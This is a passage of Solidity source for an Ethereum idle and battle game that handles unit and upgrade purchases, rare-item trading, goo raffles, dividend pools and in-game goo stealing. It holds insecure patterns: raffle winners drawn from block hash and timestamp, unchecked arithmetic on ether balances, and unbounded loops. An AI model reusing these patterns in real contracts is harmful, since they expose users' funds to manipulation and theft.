lastGooProductionUpdate[player] = allocatedGooResearchSnapshots.length;
totalGooProduction -= decrease;
}
function buyBasicUnit(uint256 unitId, uint256 amount) external {
uint256 schemaUnitId;
uint256 gooProduction;
uint256 gooCost;
uint256 ethCost;
uint256 existing = unitsOwned[msg.sender][unitId];
(schemaUnitId, gooProduction, gooCost, ethCost) = schema.getUnitInfo(unitId, existing, amount);
require(gameStarted);
require(schemaUnitId > 0); // Valid unit
require(ethCost == 0); // Free unit
uint256 newTotal = SafeMath.add(existing, amount);
if (newTotal > 99) { // Default unit limit
require(newTotal <= unitMaxCap[msg.sender][unitId]); // Housing upgrades (allow more units)
}
// Update players goo
updatePlayersGooFromPurchase(msg.sender, gooCost);
if (gooProduction > 0) {
increasePlayersGooProduction(msg.sender, getUnitsProduction(msg.sender, unitId, amount));
}
unitsOwned[msg.sender][unitId] = newTotal;
emit UnitBought(msg.sender, unitId, amount);
}
function buyEthUnit(uint256 unitId, uint256 amount) external payable {
uint256 schemaUnitId;
uint256 gooProduction;
uint256 gooCost;
uint256 ethCost;
uint256 existing = unitsOwned[msg.sender][unitId];
(schemaUnitId, gooProduction, gooCost, ethCost) = schema.getUnitInfo(unitId, existing, amount);
require(gameStarted);
require(schemaUnitId > 0);
require(ethBalance[msg.sender] + msg.value >= ethCost);
if (ethCost > msg.value) {
ethBalance[msg.sender] -= (ethCost - msg.value);
}
uint256 devFund = ethCost / 50; // 2% fee on purchases (marketing, gameplay & maintenance)
uint256 dividends = (ethCost - devFund) / 4; // 25% goes to pool (75% retained for sale value)
totalEtherGooResearchPool += dividends;
ethBalance[owner] += devFund;
uint256 newTotal = SafeMath.add(existing, amount);
if (newTotal > 99) { // Default unit limit
require(newTotal <= unitMaxCap[msg.sender][unitId]); // Housing upgrades (allow more units)
}
// Update players goo
updatePlayersGooFromPurchase(msg.sender, gooCost);
if (gooProduction > 0) {
increasePlayersGooProduction(msg.sender, getUnitsProduction(msg.sender, unitId, amount));
}
unitsOwned[msg.sender][unitId] += amount;
emit UnitBought(msg.sender, unitId, amount);
}
function sellUnit(uint256 unitId, uint256 amount) external {
uint256 existing = unitsOwned[msg.sender][unitId];
require(existing >= amount && amount > 0);
existing -= amount;
unitsOwned[msg.sender][unitId] = existing;
uint256 schemaUnitId;
uint256 gooProduction;
uint256 gooCost;
uint256 ethCost;
(schemaUnitId, gooProduction, gooCost, ethCost) = schema.getUnitInfo(unitId, existing, amount);
require(schema.unitSellable(unitId));
uint256 gooChange = balanceOfUnclaimedGoo(msg.sender) + ((gooCost * 3) / 4); // Claim unsaved goo whilst here
lastGooSaveTime[msg.sender] = block.timestamp;
roughSupply += gooChange;
gooBalance[msg.sender] += gooChange;
if (gooProduction > 0) {
reducePlayersGooProduction(msg.sender, getUnitsProduction(msg.sender, unitId, amount));
}
if (ethCost > 0) { // Premium units sell for 75% of buy cost
ethBalance[msg.sender] += (ethCost * 3) / 4;
}
emit UnitSold(msg.sender, unitId, amount);
}
function buyUpgrade(uint256 upgradeId) external payable {
uint256 gooCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
uint256 prerequisiteUpgrade;
(gooCost, ethCost, upgradeClass, unitId, upgradeValue, prerequisiteUpgrade) = schema.getUpgradeInfo(upgradeId);
require(gameStarted);
require(unitId > 0); // Valid upgrade
require(!upgradesOwned[msg.sender][upgradeId]); // Haven't already purchased
if (prerequisiteUpgrade > 0) {
require(upgradesOwned[msg.sender][prerequisiteUpgrade]);
}
if (ethCost > 0) {
require(ethBalance[msg.sender] + msg.value >= ethCost);
if (ethCost > msg.value) { // They can use their balance instead
ethBalance[msg.sender] -= (ethCost - msg.value);
}
uint256 devFund = ethCost / 50; // 2% fee on purchases (marketing, gameplay & maintenance)
totalEtherGooResearchPool += (ethCost - devFund); // Rest goes to div pool (Can't sell upgrades)
ethBalance[owner] += devFund;
}
// Update players goo
updatePlayersGooFromPurchase(msg.sender, gooCost);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
upgradesOwned[msg.sender][upgradeId] = true;
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionGain;
if (upgradeClass == 0) {
unitGooProductionIncreases[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (10 + unitGooProductionMultiplier[player][unitId]);
increasePlayersGooProduction(player, productionGain);
} else if (upgradeClass == 1) {
unitGooProductionMultiplier[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId]);
increasePlayersGooProduction(player, productionGain);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 6) {
unitGooStealingIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 7) {
unitGooStealingMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 8) {
unitMaxCap[player][unitId] = upgradeValue; // Housing upgrade (new capacity)
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionLoss;
if (upgradeClass == 0) {
unitGooProductionIncreases[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (10 + unitGooProductionMultiplier[player][unitId]);
reducePlayersGooProduction(player, productionLoss);
} else if (upgradeClass == 1) {
unitGooProductionMultiplier[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId]);
reducePlayersGooProduction(player, productionLoss);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 6) {
unitGooStealingIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 7) {
unitGooStealingMultiplier[player][unitId] -= upgradeValue;
}
}
function buyRareItem(uint256 rareId) external payable {
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(rareId);
address previousOwner = rareItemOwner[rareId];
require(previousOwner != 0);
require(unitId > 0);
// We have to claim buyer's goo before updating their production values
updatePlayersGoo(msg.sender);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
// We have to claim seller's goo before reducing their production values
updatePlayersGoo(previousOwner);
removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
uint256 ethCost = rareItemPrice[rareId];
require(ethBalance[msg.sender] + msg.value >= ethCost);
// Splitbid/Overbid
if (ethCost > msg.value) {
// Earlier require() said they can still afford it (so use their ingame balance)
ethBalance[msg.sender] -= (ethCost - msg.value);
} else if (msg.value > ethCost) {
// Store overbid in their balance
ethBalance[msg.sender] += msg.value - ethCost;
}
// Distribute ethCost
uint256 devFund = ethCost / 50; // 2% fee on purchases (marketing, gameplay & maintenance)
uint256 dividends = ethCost / 20; // 5% goes to pool (~93% goes to player)
totalEtherGooResearchPool += dividends;
ethBalance[owner] += devFund;
// Transfer / update rare item
rareItemOwner[rareId] = msg.sender;
rareItemPrice[rareId] = (ethCost * 5) / 4; // 25% price flip increase
ethBalance[previousOwner] += ethCost - (dividends + devFund);
}
function withdrawEther(uint256 amount) external {
require(amount <= ethBalance[msg.sender]);
ethBalance[msg.sender] -= amount;
msg.sender.transfer(amount);
}
function fundGooResearch(uint256 amount) external {
updatePlayersGooFromPurchase(msg.sender, amount);
gooDepositSnapshots[msg.sender][totalGooDepositSnapshots.length - 1] += amount;
totalGooDepositSnapshots[totalGooDepositSnapshots.length - 1] += amount;
}
function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastGooResearchFundClaim[msg.sender]);
require(endSnapShot < allocatedGooResearchSnapshots.length);
uint256 researchShare;
uint256 previousProduction = gooProductionSnapshots[msg.sender][lastGooResearchFundClaim[msg.sender] - 1]; // Underflow won't be a problem as gooProductionSnapshots[][0xffffffffff] = 0;
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
// Slightly complex things by accounting for days/snapshots when user made no tx's
uint256 productionDuringSnapshot = gooProductionSnapshots[msg.sender][i];
bool soldAllProduction = gooProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedGooResearchSnapshots[i] * productionDuringSnapshot) / totalGooProductionSnapshots[i];
}
if (gooProductionSnapshots[msg.sender][endSnapShot] == 0 && !gooProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) {
gooProductionSnapshots[msg.sender][endSnapShot] = previousProduction; // Checkpoint for next claim
}
lastGooResearchFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = researchShare / 100; // 1%
ethBalance[referer] += referalDivs;
emit ReferalGain(referer, msg.sender, referalDivs);
}
ethBalance[msg.sender] += researchShare - referalDivs;
}
function claimGooDepositDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastGooDepositFundClaim[msg.sender]);
require(endSnapShot < allocatedGooDepositSnapshots.length);
uint256 depositShare;
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
depositShare += (allocatedGooDepositSnapshots[i] * gooDepositSnapshots[msg.sender][i]) / totalGooDepositSnapshots[i];
}
lastGooDepositFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = depositShare / 100; // 1%
ethBalance[referer] += referalDivs;
emit ReferalGain(referer, msg.sender, referalDivs);
}
ethBalance[msg.sender] += depositShare - referalDivs;
}
// Allocate pot #1 divs for the day (00:00 cron job)
function snapshotDailyGooResearchFunding() external {
require(msg.sender == owner);
uint256 todaysGooResearchFund = (totalEtherGooResearchPool * researchDivPercent) / 100; // 8% of pool daily
totalEtherGooResearchPool -= todaysGooResearchFund;
totalGooProductionSnapshots.push(totalGooProduction);
allocatedGooResearchSnapshots.push(todaysGooResearchFund);
nextSnapshotTime = block.timestamp + 24 hours;
}
// Allocate pot #2 divs for the day (12:00 cron job)
function snapshotDailyGooDepositFunding() external {
require(msg.sender == owner);
uint256 todaysGooDepositFund = (totalEtherGooResearchPool * gooDepositDivPercent) / 100; // 2% of pool daily
totalEtherGooResearchPool -= todaysGooDepositFund;
totalGooDepositSnapshots.push(0); // Reset for to store next day's deposits
allocatedGooDepositSnapshots.push(todaysGooDepositFund); // Store to payout divs for previous day deposits
}
// Raffle for rare items
function buyItemRaffleTicket(uint256 amount) external {
require(itemRaffleEndTime >= block.timestamp);
require(amount > 0);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_GOO_PRICE, amount);
require(balanceOf(msg.sender) >= ticketsCost);
// Update players goo
updatePlayersGooFromPurchase(msg.sender, ticketsCost);
// Handle new tickets
TicketPurchases storage purchases = rareItemTicketsBoughtByPlayer[msg.sender];
// If we need to reset tickets from a previous raffle
if (purchases.raffleId != itemRaffleRareId) {
purchases.numPurchases = 0;
purchases.raffleId = itemRaffleRareId;
itemRafflePlayers[itemRaffleRareId].push(msg.sender); // Add user to raffle
}
// Store new ticket purchase
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length += 1;
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(itemRaffleTicketsBought, itemRaffleTicketsBought + (amount - 1)); // (eg: buy 10, get id's 0-9)
// Finally update ticket total
itemRaffleTicketsBought += amount;
}
// Raffle for rare units
function buyUnitRaffleTicket(uint256 amount) external {
require(unitRaffleEndTime >= block.timestamp);
require(amount > 0);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_GOO_PRICE, amount);
require(balanceOf(msg.sender) >= ticketsCost);
// Update players goo
updatePlayersGooFromPurchase(msg.sender, ticketsCost);
// Handle new tickets
TicketPurchases storage purchases = rareUnitTicketsBoughtByPlayer[msg.sender];
// If we need to reset tickets from a previous raffle
if (purchases.raffleId != unitRaffleId) {
purchases.numPurchases = 0;
purchases.raffleId = unitRaffleId;
unitRafflePlayers[unitRaffleId].push(msg.sender); // Add user to raffle
}
// Store new ticket purchase
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length += 1;
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(unitRaffleTicketsBought, unitRaffleTicketsBought + (amount - 1)); // (eg: buy 10, get id's 0-9)
// Finally update ticket total
unitRaffleTicketsBought += amount;
}
function startItemRaffle(uint256 endTime, uint256 rareId) external {
require(msg.sender == owner);
require(schema.validRareId(rareId));
require(rareItemOwner[rareId] == 0);
require(block.timestamp < endTime);
if (itemRaffleRareId != 0) { // Sanity to assure raffle has ended before next one starts
require(itemRaffleWinner != 0);
}
// Reset previous raffle info
itemRaffleWinningTicketSelected = false;
itemRaffleTicketThatWon = 0;
itemRaffleWinner = 0;
itemRaffleTicketsBought = 0;
// Set current raffle info
itemRaffleEndTime = endTime;
itemRaffleRareId = rareId;
}
function startUnitRaffle(uint256 endTime, uint256 unitId) external {
require(msg.sender == owner);
require(block.timestamp < endTime);
if (unitRaffleRareId != 0) { // Sanity to assure raffle has ended before next one starts
require(unitRaffleWinner != 0);
}
// Reset previous raffle info
unitRaffleWinningTicketSelected = false;
unitRaffleTicketThatWon = 0;
unitRaffleWinner = 0;
unitRaffleTicketsBought = 0;
// Set current raffle info
unitRaffleEndTime = endTime;
unitRaffleRareId = unitId;
unitRaffleId++; // Can't use unitRaffleRareId (as rare units are not unique)
}
function awardItemRafflePrize(address checkWinner, uint256 checkIndex) external {
require(itemRaffleEndTime < block.timestamp);
require(itemRaffleWinner == 0);
require(rareItemOwner[itemRaffleRareId] == 0);
if (!itemRaffleWinningTicketSelected) {
drawRandomItemWinner(); // Ideally do it in one call (gas limit cautious)
}
// Reduce gas by (optionally) offering an address to _check_ for winner
if (checkWinner != 0) {
TicketPurchases storage tickets = rareItemTicketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleId == itemRaffleRareId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (itemRaffleTicketThatWon >= checkTicket.startId && itemRaffleTicketThatWon <= checkTicket.endId) {
assignItemRafflePrize(checkWinner); // WINNER!
return;
}
}
}
// Otherwise just naively try to find the winner (will work until mass amounts of players)
for (uint256 i = 0; i < itemRafflePlayers[itemRaffleRareId].length; i++) {
address player = itemRafflePlayers[itemRaffleRareId][i];
TicketPurchases storage playersTickets = rareItemTicketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
// Minor optimization to avoid checking every single player
if (itemRaffleTicketThatWon >= playersTickets.ticketsBought[0].startId && itemRaffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (itemRaffleTicketThatWon >= playerTicket.startId && itemRaffleTicketThatWon <= playerTicket.endId) {
assignItemRafflePrize(player); // WINNER!
return;
}
}
}
}
}
function awardUnitRafflePrize(address checkWinner, uint256 checkIndex) external {
require(unitRaffleEndTime < block.timestamp);
require(unitRaffleWinner == 0);
if (!unitRaffleWinningTicketSelected) {
drawRandomUnitWinner(); // Ideally do it in one call (gas limit cautious)
}
// Reduce gas by (optionally) offering an address to _check_ for winner
if (checkWinner != 0) {
TicketPurchases storage tickets = rareUnitTicketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleId == unitRaffleId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (unitRaffleTicketThatWon >= checkTicket.startId && unitRaffleTicketThatWon <= checkTicket.endId) {
assignUnitRafflePrize(checkWinner); // WINNER!
return;
}
}
}
// Otherwise just naively try to find the winner (will work until mass amounts of players)
for (uint256 i = 0; i < unitRafflePlayers[unitRaffleId].length; i++) {
address player = unitRafflePlayers[unitRaffleId][i];
TicketPurchases storage playersTickets = rareUnitTicketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
// Minor optimization to avoid checking every single player
if (unitRaffleTicketThatWon >= playersTickets.ticketsBought[0].startId && unitRaffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (unitRaffleTicketThatWon >= playerTicket.startId && unitRaffleTicketThatWon <= playerTicket.endId) {
assignUnitRafflePrize(player); // WINNER!
return;
}
}
}
}
}
function assignItemRafflePrize(address winner) internal {
itemRaffleWinner = winner;
rareItemOwner[itemRaffleRareId] = winner;
rareItemPrice[itemRaffleRareId] = (schema.rareStartPrice(itemRaffleRareId) * 21) / 20; // Buy price slightly higher (Div pool cut)
updatePlayersGoo(winner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(itemRaffleRareId);
upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue);
}
function assignUnitRafflePrize(address winner) internal {
unitRaffleWinner = winner;
updatePlayersGoo(winner);
increasePlayersGooProduction(winner, getUnitsProduction(winner, unitRaffleRareId, 1));
unitsOwned[winner][unitRaffleRareId] += 1;
}
// Random enough for small contests (Owner only to prevent trial & error execution)
function drawRandomItemWinner() public {
require(msg.sender == owner);
require(itemRaffleEndTime < block.timestamp);
require(!itemRaffleWinningTicketSelected);
uint256 seed = itemRaffleTicketsBought + block.timestamp;
itemRaffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, itemRaffleTicketsBought);
itemRaffleWinningTicketSelected = true;
}
function drawRandomUnitWinner() public {
require(msg.sender == owner);
require(unitRaffleEndTime < block.timestamp);
require(!unitRaffleWinningTicketSelected);
uint256 seed = unitRaffleTicketsBought + block.timestamp;
unitRaffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, unitRaffleTicketsBought);
unitRaffleWinningTicketSelected = true;
}
// Gives players the upgrades they 'previously paid for' (i.e. will be one of same unit/type/value of their v1 purchase)
// Tx of their (prior) purchase is provided so can be validated by anyone for 0 abuse
function migrateV1Upgrades(address[] playerToCredit, uint256[] upgradeIds, uint256[] txProof) external {
require(msg.sender == owner);
require(!gameStarted); // Pre-game migration
for (uint256 i = 0; i < txProof.length; i++) {
address player = playerToCredit[i];
uint256 upgradeId = upgradeIds[i];
uint256 unitId = schema.upgradeUnitId(upgradeId);
if (unitId > 0 && !upgradesOwned[player][upgradeId]) { // Upgrade valid (and haven't already migrated)
uint256 upgradeClass = schema.upgradeClass(upgradeId);
uint256 upgradeValue = schema.upgradeValue(upgradeId);
upgradeUnitMultipliers(player, upgradeClass, unitId, upgradeValue);
upgradesOwned[player][upgradeId] = true;
emit UpgradeMigration(player, upgradeId, txProof[i]);
}
}
}
function protectAddress(address exchange, bool shouldProtect) external {
require(msg.sender == owner);
if (shouldProtect) {
require(getGooProduction(exchange) == 0); // Can't protect actual players
}
protectedAddresses[exchange] = shouldProtect;
}
function attackPlayer(address target) external {
require(battleCooldown[msg.sender] < block.timestamp);
require(target != msg.sender);
require(!protectedAddresses[target]); // Target not whitelisted (i.e. exchange wallets)
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
(attackingPower, defendingPower, stealingPower) = getPlayersBattlePower(msg.sender, target);
if (battleCooldown[target] > block.timestamp) { // When on battle cooldown you're vulnerable (starting value is 50% normal power)
defendingPower = schema.getWeakenedDefensePower(defendingPower);
}
if (attackingPower > defendingPower) {
battleCooldown[msg.sender] = block.timestamp + 30 minutes;
if (balanceOf(target) > stealingPower) {
// Save all their unclaimed goo, then steal attacker's max capacity (at same time)
uint256 unclaimedGoo = balanceOfUnclaimedGoo(target);
if (stealingPower > unclaimedGoo) {
uint256 gooDecrease = stealingPower - unclaimedGoo;
gooBalance[target] -= gooDecrease;
roughSupply -= gooDecrease;
} else {
uint256 gooGain = unclaimedGoo - stealingPower;
gooBalance[target] += gooGain;
roughSupply += gooGain;
}
gooBalance[msg.sender] += stealingPower;
emit PlayerAttacked(msg.sender, target, true, stealingPower);
} else {
emit PlayerAttacked(msg.sender, target, true, balanceOf(target));
gooBalance[msg.sender] += balanceOf(target);
gooBalance[target] = 0;
}
lastGooSaveTime[target] = block.timestamp;
// We don't need to claim/save msg.sender's goo (as production delta is unchanged)
} else {
battleCooldown[msg.sender] = block.timestamp + 10 minutes;
emit PlayerAttacked(msg.sender, target, false, 0);
}
}
function getPlayersBattlePower(address attacker, address defender) internal constant returns (uint256, uint256, uint256) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleUnitIdRange();
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
// Not ideal but will only be a small number of units (and saves gas when buying units)
while (startId <= endId) {
attackingPower += getUnitsAttack(attacker, startId, unitsOwned[attacker][startId]);
stealingPower += getUnitsStealingCapacity(attacker, startId, unitsOwned[attacker][startId]);
defendingPower += getUnitsDefense(defender, startId, unitsOwned[defender][startId]);
startId++;
}
return (attackingPower, defendingPower, stealingPower);
}
function getPlayersBattleStats(address player) external constant returns (uint256, uint256, uint256, uint256) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleUnitIdRange();
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
// Not ideal but will only be a small number of units (and saves gas when buying units)
while (startId <= endId) {
attackingPower += getUnitsAttack(player, startId, unitsOwned[player][startId]);
stealingPower += getUnitsStealingCapacity(player, startId, unitsOwned[player][startId]);
defendingPower += getUnitsDefense(player, startId, unitsOwned[player][startId]);
startId++;
}
if (battleCooldown[player] > block.timestamp) { // When on battle cooldown you're vulnerable (starting value is 50% normal power)
defendingPower = schema.getWeakenedDefensePower(defendingPower);
}
return (attackingPower, defendingPower, stealingPower, battleCooldown[player]);
}
function getUnitsProduction(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId]) * (10 + unitGooProductionMultiplier[player][unitId]));
}
function getUnitsAttack(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitAttack(unitId) + unitAttackIncreases[player][unitId]) * (10 + unitAttackMultiplier[player][unitId])) / 10;
}
function getUnitsDefense(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitDefense(unitId) + unitDefenseIncreases[player][unitId]) * (10 + unitDefenseMultiplier[player][unitId])) / 10;
}
function getUnitsStealingCapacity(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitStealingCapacity(unitId) + unitGooStealingIncreases[player][unitId]) * (10 + unitGooStealingMultiplier[player][unitId])) / 10;
}
// To display on website
function getGameInfo() external constant returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[], bool[]){
uint256[] memory units = new uint256[](schema.currentNumberOfUnits());
bool[] memory upgrades = new bool[](schema.currentNumberOfUpgrades());
uint256 startId;
uint256 endId;
(startId, endId) = schema.productionUnitIdRange();
uint256 i;
while (startId <= endId) {
units[i] = unitsOwned[msg.sender][startId];
i++;
startId++;
}
(startId, endId) = schema.battleUnitIdRange();
while (startId <= endId) {
units[i] = unitsOwned[msg.sender][startId];
i++;
startId++;
}
// Reset for upgrades
i = 0;
(startId, endId) = schema.upgradeIdRange();
while (startId <= endId) {
upgrades[i] = upgradesOwned[msg.sender][startId];
i++;
startId++;
}
return (block.timestamp, totalEtherGooResearchPool, totalGooProduction, totalGooDepositSnapshots[totalGooDepositSnapshots.length - 1], gooDepositSnapshots[msg.sender][totalGooDepositSnapshots.length - 1],
nextSnapshotTime, balanceOf(msg.sender), ethBalance[msg.sender], getGooProduction(msg.sender), units, upgrades);
}
// To display on website
function getRareItemInfo() external constant returns (address[], uint256[]) {
address[] memory itemOwners = new address[](schema.currentNumberOfRares());
uint256[] memory itemPrices = new uint256[](schema.currentNumberOfRares());
uint256 startId;
uint256 endId;
(startId, endId) = schema.rareIdRange();
uint256 i;
while (startId <= endId) {
itemOwners[i] = rareItemOwner[startId];
itemPrices[i] = rareItemPrice[startId];
i++;
startId++;
}
return (itemOwners, itemPrices);
}
// To display on website
function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastGooResearchFundClaim[msg.sender];
uint256 latestSnapshot = allocatedGooResearchSnapshots.length - 1; // No snapshots to begin with
uint256 researchShare;
uint256 previousProduction = gooProductionSnapshots[msg.sender][lastGooResearchFundClaim[msg.sender] - 1]; // Underflow won't be a problem as gooProductionSnapshots[][0xfffffffffffff] = 0;
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
// Slightly complex things by accounting for days/snapshots when user made no tx's
uint256 productionDuringSnapshot = gooProductionSnapshots[msg.sender][i];
bool soldAllProduction = gooProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedGooResearchSnapshots[i] * productionDuringSnapshot) / totalGooProductionSnapshots[i];
}
return (researchShare, startSnapshot, latestSnapshot);
}
// To display on website
function viewUnclaimedDepositDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastGooDepositFundClaim[msg.sender];
uint256 latestSnapshot = allocatedGooDepositSnapshots.length - 1; // No snapshots to begin with
uint256 depositShare;
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
depositShare += (allocatedGooDepositSnapshots[i] * gooDepositSnapshots[msg.sender][i]) / totalGooDepositSnapshots[i];
}
return (depositShare, startSnapshot, latestSnapshot);
}
// To allow clients to verify contestants
function getItemRafflePlayers(uint256 raffleId) external constant returns (address[]) {
return (itemRafflePlayers[raffleId]);
}
// To allow clients to verify contestants
function getUnitRafflePlayers(uint256 raffleId) external constant returns (address[]) {
return (unitRafflePlayers[raffleId]);
}
// To allow clients to verify contestants
function getPlayersItemTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = rareItemTicketsBoughtByPlayer[player];
if (playersTickets.raffleId == itemRaffleRareId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
// To allow clients to verify contestants
function getPlayersUnitTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = rareUnitTicketsBoughtByPlayer[player];
if (playersTickets.raffleId == unitRaffleId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
// To display on website
function getLatestItemRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (itemRaffleEndTime, itemRaffleRareId, itemRaffleTicketsBought, itemRaffleWinner, itemRaffleTicketThatWon);
}
// To display on website
function getLatestUnitRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (unitRaffleEndTime, unitRaffleRareId, unitRaffleTicketsBought, unitRaffleWinner, unitRaffleTicketThatWon);
}
// New units may be added in future, but check it matches existing schema so no-one can abuse selling.
function updateGooConfig(address newSchemaAddress) external {
require(msg.sender == owner);
GooGameConfig newSchema = GooGameConfig(newSchemaAddress);
requireExistingUnitsSame(newSchema);
requireExistingUpgradesSame(newSchema);
// Finally update config
schema = GooGameConfig(newSchema);
}
function requireExistingUnitsSame(GooGameConfig newSchema) internal constant {
// Requires units eth costs match up or fail execution
uint256 startId;
uint256 endId;
(startId, endId) = schema.productionUnitIdRange();
while (startId <= endId) {
require(schema.unitEthCost(startId) == newSchema.unitEthCost(startId));
require(schema.unitGooProduction(startId) == newSchema.unitGooProduction(startId));
startId++;
}
(startId, endId) = schema.battleUnitIdRange();
while (startId <= endId) {
require(schema.unitEthCost(startId) == newSchema.unitEthCost(startId));
require(schema.unitAttack(startId) == newSchema.unitAttack(startId));
require(schema.unitDefense(startId) == newSchema.unitDefense(startId));
require(schema.unitStealingCapacity(startId) == newSchema.unitStealingCapacity(startId));
startId++;
}
}
function requireExistingUpgradesSame(GooGameConfig newSchema) internal constant {
uint256 startId;
uint256 endId;
// Requires ALL upgrade stats match up or fail execution
(startId, endId) = schema.upgradeIdRange();
while (startId <= endId) {
require(schema.upgradeGooCost(startId) == newSchema.upgradeGooCost(startId));
require(schema.upgradeEthCost(startId) == newSchema.upgradeEthCost(startId));
require(schema.upgradeClass(startId) == newSchema.upgradeClass(startId));
require(schema.upgradeUnitId(startId) == newSchema.upgradeUnitId(startId));
require(schema.upgradeValue(startId) == newSchema.upgradeValue(startId));
startId++;
}
